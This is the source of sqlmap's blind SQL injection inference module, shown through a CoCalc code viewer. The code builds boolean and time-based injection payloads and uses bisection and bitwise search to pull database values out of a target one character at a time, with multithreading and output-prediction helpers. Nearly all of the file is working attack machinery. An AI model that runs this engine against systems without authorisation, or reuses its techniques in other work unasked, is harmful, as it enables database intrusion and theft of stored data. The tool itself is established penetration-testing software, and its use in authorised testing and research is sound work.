Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
sqlmapproject
GitHub Repository: sqlmapproject/sqlmap
Path: blob/master/lib/techniques/blind/inference.py
2992 views
1
#!/usr/bin/env python
2
3
"""
4
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
5
See the file 'LICENSE' for copying permission
6
"""
7
8
from __future__ import division
9
10
import re
11
import time
12
13
from lib.core.agent import agent
14
from lib.core.common import Backend
15
from lib.core.common import calculateDeltaSeconds
16
from lib.core.common import dataToStdout
17
from lib.core.common import decodeDbmsHexValue
18
from lib.core.common import decodeIntToUnicode
19
from lib.core.common import filterControlChars
20
from lib.core.common import getCharset
21
from lib.core.common import getCounter
22
from lib.core.common import getPartRun
23
from lib.core.common import getTechnique
24
from lib.core.common import getTechniqueData
25
from lib.core.common import goGoodSamaritan
26
from lib.core.common import hashDBRetrieve
27
from lib.core.common import hashDBWrite
28
from lib.core.common import incrementCounter
29
from lib.core.common import isDigit
30
from lib.core.common import isListLike
31
from lib.core.common import safeStringFormat
32
from lib.core.common import singleTimeWarnMessage
33
from lib.core.data import conf
34
from lib.core.data import kb
35
from lib.core.data import logger
36
from lib.core.data import queries
37
from lib.core.enums import ADJUST_TIME_DELAY
38
from lib.core.enums import CHARSET_TYPE
39
from lib.core.enums import DBMS
40
from lib.core.enums import PAYLOAD
41
from lib.core.exception import SqlmapThreadException
42
from lib.core.exception import SqlmapUnsupportedFeatureException
43
from lib.core.settings import CHAR_INFERENCE_MARK
44
from lib.core.settings import INFERENCE_BLANK_BREAK
45
from lib.core.settings import INFERENCE_EQUALS_CHAR
46
from lib.core.settings import INFERENCE_GREATER_CHAR
47
from lib.core.settings import INFERENCE_MARKER
48
from lib.core.settings import INFERENCE_NOT_EQUALS_CHAR
49
from lib.core.settings import INFERENCE_UNKNOWN_CHAR
50
from lib.core.settings import MAX_BISECTION_LENGTH
51
from lib.core.settings import MAX_REVALIDATION_STEPS
52
from lib.core.settings import NULL
53
from lib.core.settings import PARTIAL_HEX_VALUE_MARKER
54
from lib.core.settings import PARTIAL_VALUE_MARKER
55
from lib.core.settings import PAYLOAD_DELIMITER
56
from lib.core.settings import RANDOM_INTEGER_MARKER
57
from lib.core.settings import VALID_TIME_CHARS_RUN_THRESHOLD
58
from lib.core.threads import getCurrentThreadData
59
from lib.core.threads import runThreads
60
from lib.core.unescaper import unescaper
61
from lib.request.connect import Connect as Request
62
from lib.utils.progress import ProgressBar
63
from lib.utils.safe2bin import safecharencode
64
from lib.utils.xrange import xrange
65
from thirdparty import six
66
67
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False):
68
"""
69
Bisection algorithm that can be used to perform blind SQL injection
70
on an affected host
71
"""
72
73
abortedFlag = False
74
showEta = False
75
partialValue = u""
76
finalValue = None
77
retrievedLength = 0
78
79
if payload is None:
80
return 0, None
81
82
if charsetType is None and conf.charset:
83
asciiTbl = sorted(set(ord(_) for _ in conf.charset))
84
else:
85
asciiTbl = getCharset(charsetType)
86
87
threadData = getCurrentThreadData()
88
timeBasedCompare = (getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
89
retVal = hashDBRetrieve(expression, checkConf=True)
90
91
if retVal:
92
if conf.repair and INFERENCE_UNKNOWN_CHAR in retVal:
93
pass
94
elif PARTIAL_HEX_VALUE_MARKER in retVal:
95
retVal = retVal.replace(PARTIAL_HEX_VALUE_MARKER, "")
96
97
if retVal and conf.hexConvert:
98
partialValue = retVal
99
infoMsg = "resuming partial value: %s" % safecharencode(partialValue)
100
logger.info(infoMsg)
101
elif PARTIAL_VALUE_MARKER in retVal:
102
retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")
103
104
if retVal and not conf.hexConvert:
105
partialValue = retVal
106
infoMsg = "resuming partial value: %s" % safecharencode(partialValue)
107
logger.info(infoMsg)
108
else:
109
infoMsg = "resumed: %s" % safecharencode(retVal)
110
logger.info(infoMsg)
111
112
return 0, retVal
113
114
if Backend.isDbms(DBMS.MCKOI):
115
match = re.search(r"\ASELECT\b(.+)\bFROM\b(.+)\Z", expression, re.I)
116
if match:
117
original = queries[Backend.getIdentifiedDbms()].inference.query
118
right = original.split('<')[1]
119
payload = payload.replace(right, "(SELECT %s FROM %s)" % (right, match.group(2).strip()))
120
expression = match.group(1).strip()
121
122
elif Backend.isDbms(DBMS.FRONTBASE):
123
match = re.search(r"\ASELECT\b(\s+TOP\s*\([^)]+\)\s+)?(.+)\bFROM\b(.+)\Z", expression, re.I)
124
if match:
125
payload = payload.replace(INFERENCE_GREATER_CHAR, " FROM %s)%s" % (match.group(3).strip(), INFERENCE_GREATER_CHAR))
126
payload = payload.replace("SUBSTRING", "(SELECT%sSUBSTRING" % (match.group(1) if match.group(1) else " "), 1)
127
expression = match.group(2).strip()
128
129
try:
130
# Set kb.partRun in case "common prediction" feature (a.k.a. "good samaritan") is used or the engine is called from the API
131
if conf.predictOutput:
132
kb.partRun = getPartRun()
133
elif conf.api:
134
kb.partRun = getPartRun(alias=False)
135
else:
136
kb.partRun = None
137
138
if partialValue:
139
firstChar = len(partialValue)
140
elif re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN|COUNT)\(", expression):
141
firstChar = 0
142
elif conf.firstChar is not None and (isinstance(conf.firstChar, int) or (hasattr(conf.firstChar, "isdigit") and conf.firstChar.isdigit())):
143
firstChar = int(conf.firstChar) - 1
144
if kb.fileReadMode:
145
firstChar <<= 1
146
elif hasattr(firstChar, "isdigit") and firstChar.isdigit() or isinstance(firstChar, int):
147
firstChar = int(firstChar) - 1
148
else:
149
firstChar = 0
150
151
if re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN|COUNT)\(", expression):
152
lastChar = 0
153
elif conf.lastChar is not None and (isinstance(conf.lastChar, int) or (hasattr(conf.lastChar, "isdigit") and conf.lastChar.isdigit())):
154
lastChar = int(conf.lastChar)
155
elif hasattr(lastChar, "isdigit") and lastChar.isdigit() or isinstance(lastChar, int):
156
lastChar = int(lastChar)
157
else:
158
lastChar = 0
159
160
if Backend.getDbms():
161
_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
162
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
163
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
164
expressionUnescaped = unescaper.escape(expressionReplaced)
165
else:
166
expressionUnescaped = unescaper.escape(expression)
167
168
if isinstance(length, six.string_types) and isDigit(length) or isinstance(length, int):
169
length = int(length)
170
else:
171
length = None
172
173
if length == 0:
174
return 0, ""
175
176
if length and (lastChar > 0 or firstChar > 0):
177
length = min(length, lastChar or length) - firstChar
178
179
if length and length > MAX_BISECTION_LENGTH:
180
length = None
181
182
showEta = conf.eta and isinstance(length, int)
183
184
if kb.bruteMode:
185
numThreads = 1
186
else:
187
numThreads = min(conf.threads or 0, length or 0) or 1
188
189
if showEta:
190
progress = ProgressBar(maxValue=length)
191
192
if numThreads > 1:
193
if not timeBasedCompare or kb.forceThreads:
194
debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else ""))
195
logger.debug(debugMsg)
196
else:
197
numThreads = 1
198
199
if conf.threads == 1 and not any((timeBasedCompare, conf.predictOutput)):
200
warnMsg = "running in a single-thread mode. Please consider "
201
warnMsg += "usage of option '--threads' for faster data retrieval"
202
singleTimeWarnMessage(warnMsg)
203
204
if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)):
205
if isinstance(length, int) and numThreads > 1:
206
dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth)))
207
dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
208
else:
209
dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
210
211
def tryHint(idx):
212
with kb.locks.hint:
213
hintValue = kb.hintValue
214
215
if payload is not None and len(hintValue or "") > 0 and len(hintValue) >= idx:
216
if "'%s'" % CHAR_INFERENCE_MARK in payload:
217
posValue = hintValue[idx - 1]
218
else:
219
posValue = ord(hintValue[idx - 1])
220
221
markingValue = "'%s'" % CHAR_INFERENCE_MARK
222
unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue))
223
forgedPayload = agent.extractPayload(payload) or ""
224
forgedPayload = safeStringFormat(forgedPayload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue)).replace(markingValue, unescapedCharValue)
225
result = Request.queryPage(agent.replacePayload(payload, forgedPayload), timeBasedCompare=timeBasedCompare, raise404=False)
226
incrementCounter(getTechnique())
227
228
if result:
229
return hintValue[idx - 1]
230
231
with kb.locks.hint:
232
kb.hintValue = ""
233
234
return None
235
236
def validateChar(idx, value):
237
"""
238
Used in inference - in time-based SQLi if original and retrieved value are not equal there will be a deliberate delay
239
"""
240
241
validationPayload = re.sub(r"(%s.*?)%s(.*?%s)" % (PAYLOAD_DELIMITER, INFERENCE_GREATER_CHAR, PAYLOAD_DELIMITER), r"\g<1>%s\g<2>" % INFERENCE_NOT_EQUALS_CHAR, payload)
242
243
if "'%s'" % CHAR_INFERENCE_MARK not in payload:
244
forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx, value))
245
else:
246
# e.g.: ... > '%c' -> ... > ORD(..)
247
markingValue = "'%s'" % CHAR_INFERENCE_MARK
248
unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(value))
249
forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)
250
251
result = not Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
252
253
if result and timeBasedCompare and getTechniqueData().trueCode:
254
result = threadData.lastCode == getTechniqueData().trueCode
255
if not result:
256
warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % (threadData.lastCode, getTechniqueData().trueCode)
257
singleTimeWarnMessage(warnMsg)
258
259
incrementCounter(getTechnique())
260
261
return result
262
263
def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None):
264
"""
265
continuousOrder means that distance between each two neighbour's
266
numerical values is exactly 1
267
"""
268
269
result = tryHint(idx)
270
271
if result:
272
return result
273
274
if charTbl is None:
275
charTbl = type(asciiTbl)(asciiTbl)
276
277
originalTbl = type(charTbl)(charTbl)
278
279
if kb.disableShiftTable:
280
shiftTable = None
281
elif continuousOrder and shiftTable is None:
282
# Used for gradual expanding into unicode charspace
283
shiftTable = [2, 2, 3, 3, 3]
284
285
if "'%s'" % CHAR_INFERENCE_MARK in payload:
286
for char in ('\n', '\r'):
287
if ord(char) in charTbl:
288
charTbl.remove(ord(char))
289
290
if not charTbl:
291
return None
292
293
elif len(charTbl) == 1:
294
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0]))
295
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
296
incrementCounter(getTechnique())
297
298
if result:
299
return decodeIntToUnicode(charTbl[0])
300
else:
301
return None
302
303
maxChar = maxValue = charTbl[-1]
304
minValue = charTbl[0]
305
firstCheck = False
306
lastCheck = False
307
unexpectedCode = False
308
309
if continuousOrder:
310
while len(charTbl) > 1:
311
position = None
312
313
if charsetType is None:
314
if not firstCheck:
315
try:
316
try:
317
lastChar = [_ for _ in threadData.shared.value if _ is not None][-1]
318
except IndexError:
319
lastChar = None
320
else:
321
if 'a' <= lastChar <= 'z':
322
position = charTbl.index(ord('a') - 1) # 96
323
elif 'A' <= lastChar <= 'Z':
324
position = charTbl.index(ord('A') - 1) # 64
325
elif '0' <= lastChar <= '9':
326
position = charTbl.index(ord('0') - 1) # 47
327
except ValueError:
328
pass
329
finally:
330
firstCheck = True
331
332
elif not lastCheck and numThreads == 1: # not usable in multi-threading environment
333
if charTbl[(len(charTbl) >> 1)] < ord(' '):
334
try:
335
# favorize last char check if current value inclines toward 0
336
position = charTbl.index(1)
337
except ValueError:
338
pass
339
finally:
340
lastCheck = True
341
342
if position is None:
343
position = (len(charTbl) >> 1)
344
345
posValue = charTbl[position]
346
falsePayload = None
347
348
if "'%s'" % CHAR_INFERENCE_MARK not in payload:
349
forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue))
350
falsePayload = safeStringFormat(payload, (expressionUnescaped, idx, RANDOM_INTEGER_MARKER))
351
else:
352
# e.g.: ... > '%c' -> ... > ORD(..)
353
markingValue = "'%s'" % CHAR_INFERENCE_MARK
354
unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue))
355
forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)
356
falsePayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, NULL)
357
358
if timeBasedCompare:
359
if kb.responseTimeMode:
360
kb.responseTimePayload = falsePayload
361
else:
362
kb.responseTimePayload = None
363
364
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
365
366
incrementCounter(getTechnique())
367
368
if not timeBasedCompare and getTechniqueData() is not None:
369
unexpectedCode |= threadData.lastCode not in (getTechniqueData().falseCode, getTechniqueData().trueCode)
370
if unexpectedCode:
371
if threadData.lastCode is not None:
372
warnMsg = "unexpected HTTP code '%s' detected." % threadData.lastCode
373
else:
374
warnMsg = "unexpected response detected."
375
376
warnMsg += " Will use (extra) validation step in similar cases"
377
378
singleTimeWarnMessage(warnMsg)
379
380
if result:
381
minValue = posValue
382
383
if not isinstance(charTbl, xrange):
384
charTbl = charTbl[position:]
385
else:
386
# xrange() - extended virtual charset used for memory/space optimization
387
charTbl = xrange(charTbl[position], charTbl[-1] + 1)
388
else:
389
maxValue = posValue
390
391
if not isinstance(charTbl, xrange):
392
charTbl = charTbl[:position]
393
else:
394
charTbl = xrange(charTbl[0], charTbl[position])
395
396
if len(charTbl) == 1:
397
if maxValue == 1:
398
return None
399
400
# Going beyond the original charset
401
elif minValue == maxChar:
402
# If the original charTbl was [0,..,127] new one
403
# will be [128,..,(128 << 4) - 1] or from 128 to 2047
404
# and instead of making a HUGE list with all the
405
# elements we use a xrange, which is a virtual
406
# list
407
if expand and shiftTable:
408
charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop())
409
originalTbl = xrange(charTbl)
410
maxChar = maxValue = charTbl[-1]
411
minValue = charTbl[0]
412
else:
413
kb.disableShiftTable = True
414
return None
415
else:
416
retVal = minValue + 1
417
418
if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload):
419
if (timeBasedCompare or unexpectedCode) and not validateChar(idx, retVal):
420
if not kb.originalTimeDelay:
421
kb.originalTimeDelay = conf.timeSec
422
423
threadData.validationRun = 0
424
if (retried or 0) < MAX_REVALIDATION_STEPS:
425
errMsg = "invalid character detected. retrying.."
426
logger.error(errMsg)
427
428
if timeBasedCompare:
429
if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE:
430
conf.timeSec += 1
431
warnMsg = "increasing time delay to %d second%s" % (conf.timeSec, 's' if conf.timeSec > 1 else '')
432
logger.warning(warnMsg)
433
434
if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES:
435
dbgMsg = "turning off time auto-adjustment mechanism"
436
logger.debug(dbgMsg)
437
kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO
438
439
return getChar(idx, originalTbl, continuousOrder, expand, shiftTable, (retried or 0) + 1)
440
else:
441
errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode(retVal)
442
logger.error(errMsg)
443
conf.timeSec = kb.originalTimeDelay
444
return decodeIntToUnicode(retVal)
445
else:
446
if timeBasedCompare:
447
threadData.validationRun += 1
448
if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and threadData.validationRun > VALID_TIME_CHARS_RUN_THRESHOLD:
449
dbgMsg = "turning back on time auto-adjustment mechanism"
450
logger.debug(dbgMsg)
451
kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES
452
453
return decodeIntToUnicode(retVal)
454
else:
455
return None
456
else:
457
if "'%s'" % CHAR_INFERENCE_MARK in payload and conf.charset:
458
errMsg = "option '--charset' is not supported on '%s'" % Backend.getIdentifiedDbms()
459
raise SqlmapUnsupportedFeatureException(errMsg)
460
461
candidates = list(originalTbl)
462
bit = 0
463
while len(candidates) > 1:
464
bits = {}
465
for candidate in candidates:
466
bit = 0
467
while candidate:
468
bits.setdefault(bit, 0)
469
bits[bit] += 1 if candidate & 1 else -1
470
candidate >>= 1
471
bit += 1
472
473
choice = sorted(bits.items(), key=lambda _: abs(_[1]))[0][0]
474
mask = 1 << choice
475
476
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, "&%d%s" % (mask, INFERENCE_GREATER_CHAR)), (expressionUnescaped, idx, 0))
477
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
478
incrementCounter(getTechnique())
479
480
if result:
481
candidates = [_ for _ in candidates if _ & mask > 0]
482
else:
483
candidates = [_ for _ in candidates if _ & mask == 0]
484
485
bit += 1
486
487
if candidates:
488
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, candidates[0]))
489
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
490
incrementCounter(getTechnique())
491
492
if result:
493
return decodeIntToUnicode(candidates[0])
494
495
# Go multi-threading (--threads > 1)
496
if numThreads > 1 and isinstance(length, int) and length > 1:
497
threadData.shared.value = [None] * length
498
threadData.shared.index = [firstChar] # As list for python nested function scoping
499
threadData.shared.start = firstChar
500
501
try:
502
def blindThread():
503
threadData = getCurrentThreadData()
504
505
while kb.threadContinue:
506
with kb.locks.index:
507
if threadData.shared.index[0] - firstChar >= length:
508
return
509
510
threadData.shared.index[0] += 1
511
currentCharIndex = threadData.shared.index[0]
512
513
if kb.threadContinue:
514
val = getChar(currentCharIndex, asciiTbl, not (charsetType is None and conf.charset))
515
if val is None:
516
val = INFERENCE_UNKNOWN_CHAR
517
else:
518
break
519
520
# NOTE: https://github.com/sqlmapproject/sqlmap/issues/4629
521
if not isListLike(threadData.shared.value):
522
break
523
524
with kb.locks.value:
525
threadData.shared.value[currentCharIndex - 1 - firstChar] = val
526
currentValue = list(threadData.shared.value)
527
528
if kb.threadContinue:
529
if showEta:
530
progress.progress(threadData.shared.index[0])
531
elif conf.verbose >= 1:
532
startCharIndex = 0
533
endCharIndex = 0
534
535
for i in xrange(length):
536
if currentValue[i] is not None:
537
endCharIndex = max(endCharIndex, i)
538
539
output = ''
540
541
if endCharIndex > conf.progressWidth:
542
startCharIndex = endCharIndex - conf.progressWidth
543
544
count = threadData.shared.start
545
546
for i in xrange(startCharIndex, endCharIndex + 1):
547
output += '_' if currentValue[i] is None else filterControlChars(currentValue[i] if len(currentValue[i]) == 1 else ' ', replacement=' ')
548
549
for i in xrange(length):
550
count += 1 if currentValue[i] is not None else 0
551
552
if startCharIndex > 0:
553
output = ".." + output[2:]
554
555
if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length - 1):
556
output = output[:-2] + ".."
557
558
if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)):
559
_ = count - firstChar
560
output += '_' * (min(length, conf.progressWidth) - len(output))
561
status = ' %d/%d (%d%%)' % (_, length, int(100.0 * _ / length))
562
output += status if _ != length else " " * len(status)
563
564
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), output))
565
566
runThreads(numThreads, blindThread, startThreadMsg=False)
567
568
except KeyboardInterrupt:
569
abortedFlag = True
570
571
finally:
572
value = [_ for _ in partialValue]
573
value.extend(_ for _ in threadData.shared.value)
574
575
infoMsg = None
576
577
# If we have got one single character not correctly fetched it
578
# can mean that the connection to the target URL was lost
579
if None in value:
580
partialValue = "".join(value[:value.index(None)])
581
582
if partialValue:
583
infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (time.strftime("%X"), filterControlChars(partialValue))
584
else:
585
finalValue = "".join(value)
586
infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(finalValue))
587
588
if conf.verbose in (1, 2) and infoMsg and not any((showEta, conf.api, kb.bruteMode)):
589
dataToStdout(infoMsg)
590
591
# No multi-threading (--threads = 1)
592
else:
593
index = firstChar
594
threadData.shared.value = ""
595
596
while True:
597
index += 1
598
599
# Common prediction feature (a.k.a. "good samaritan")
600
# NOTE: to be used only when multi-threading is not set for
601
# the moment
602
if conf.predictOutput and len(partialValue) > 0 and kb.partRun is not None:
603
val = None
604
commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(partialValue, asciiTbl)
605
606
# If there is one single output in common-outputs, check
607
# it via equal against the query output
608
if commonValue is not None:
609
# One-shot query containing equals commonValue
610
testValue = unescaper.escape("'%s'" % commonValue) if "'" not in commonValue else unescaper.escape("%s" % commonValue, quote=False)
611
612
query = getTechniqueData().vector
613
query = agent.prefixQuery(query.replace(INFERENCE_MARKER, "(%s)%s%s" % (expressionUnescaped, INFERENCE_EQUALS_CHAR, testValue)))
614
query = agent.suffixQuery(query)
615
616
result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
617
incrementCounter(getTechnique())
618
619
# Did we have luck?
620
if result:
621
if showEta:
622
progress.progress(len(commonValue))
623
elif conf.verbose in (1, 2) or conf.api:
624
dataToStdout(filterControlChars(commonValue[index - 1:]))
625
626
finalValue = commonValue
627
break
628
629
# If there is a common pattern starting with partialValue,
630
# check it via equal against the substring-query output
631
if commonPattern is not None:
632
# Substring-query containing equals commonPattern
633
subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern))
634
testValue = unescaper.escape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.escape("%s" % commonPattern, quote=False)
635
636
query = getTechniqueData().vector
637
query = agent.prefixQuery(query.replace(INFERENCE_MARKER, "(%s)=%s" % (subquery, testValue)))
638
query = agent.suffixQuery(query)
639
640
result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
641
incrementCounter(getTechnique())
642
643
# Did we have luck?
644
if result:
645
val = commonPattern[index - 1:]
646
index += len(val) - 1
647
648
# Otherwise if there is no commonValue (single match from
649
# txt/common-outputs.txt) and no commonPattern
650
# (common pattern) use the returned common charset only
651
# to retrieve the query output
652
if not val and commonCharset:
653
val = getChar(index, commonCharset, False)
654
655
# If we had no luck with commonValue and common charset,
656
# use the returned other charset
657
if not val:
658
val = getChar(index, otherCharset, otherCharset == asciiTbl)
659
else:
660
val = getChar(index, asciiTbl, not (charsetType is None and conf.charset))
661
662
if val is None:
663
finalValue = partialValue
664
break
665
666
if kb.data.processChar:
667
val = kb.data.processChar(val)
668
669
threadData.shared.value = partialValue = partialValue + val
670
671
if showEta:
672
progress.progress(index)
673
elif (conf.verbose in (1, 2) and not kb.bruteMode) or conf.api:
674
dataToStdout(filterControlChars(val))
675
676
# Note: some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces
677
if Backend.getIdentifiedDbms() in (DBMS.FIREBIRD, DBMS.DB2, DBMS.MAXDB, DBMS.DERBY, DBMS.FRONTBASE) and len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace():
678
finalValue = partialValue[:-INFERENCE_BLANK_BREAK]
679
break
680
elif charsetType and partialValue[-1:].isspace():
681
finalValue = partialValue[:-1]
682
break
683
684
if (lastChar > 0 and index >= lastChar):
685
finalValue = "" if length == 0 else partialValue
686
finalValue = finalValue.rstrip() if len(finalValue) > 1 else finalValue
687
partialValue = None
688
break
689
690
except KeyboardInterrupt:
691
abortedFlag = True
692
finally:
693
kb.prependFlag = False
694
retrievedLength = len(finalValue or "")
695
696
if finalValue is not None:
697
finalValue = decodeDbmsHexValue(finalValue) if conf.hexConvert else finalValue
698
hashDBWrite(expression, finalValue)
699
elif partialValue:
700
hashDBWrite(expression, "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue))
701
702
if conf.hexConvert and not any((abortedFlag, conf.api, kb.bruteMode)):
703
infoMsg = "\r[%s] [INFO] retrieved: %s %s\n" % (time.strftime("%X"), filterControlChars(finalValue), " " * retrievedLength)
704
dataToStdout(infoMsg)
705
else:
706
if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)):
707
dataToStdout("\n")
708
709
if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3:
710
infoMsg = "retrieved: %s" % filterControlChars(finalValue)
711
logger.info(infoMsg)
712
713
if kb.threadException:
714
raise SqlmapThreadException("something unexpected happened inside the threads")
715
716
if abortedFlag:
717
raise KeyboardInterrupt
718
719
_ = finalValue or partialValue
720
721
return getCounter(getTechnique()), safecharencode(_) if kb.safeCharEncode else _
722
723
def queryOutputLength(expression, payload):
724
"""
725
Returns the query output length.
726
"""
727
728
infoMsg = "retrieving the length of query output"
729
logger.info(infoMsg)
730
731
start = time.time()
732
733
lengthExprUnescaped = agent.forgeQueryOutputLength(expression)
734
count, length = bisection(payload, lengthExprUnescaped, charsetType=CHARSET_TYPE.DIGITS)
735
736
debugMsg = "performed %d quer%s in %.2f seconds" % (count, 'y' if count == 1 else "ies", calculateDeltaSeconds(start))
737
logger.debug(debugMsg)
738
739
if isinstance(length, six.string_types) and length.isspace():
740
length = 0
741
742
return length
743
744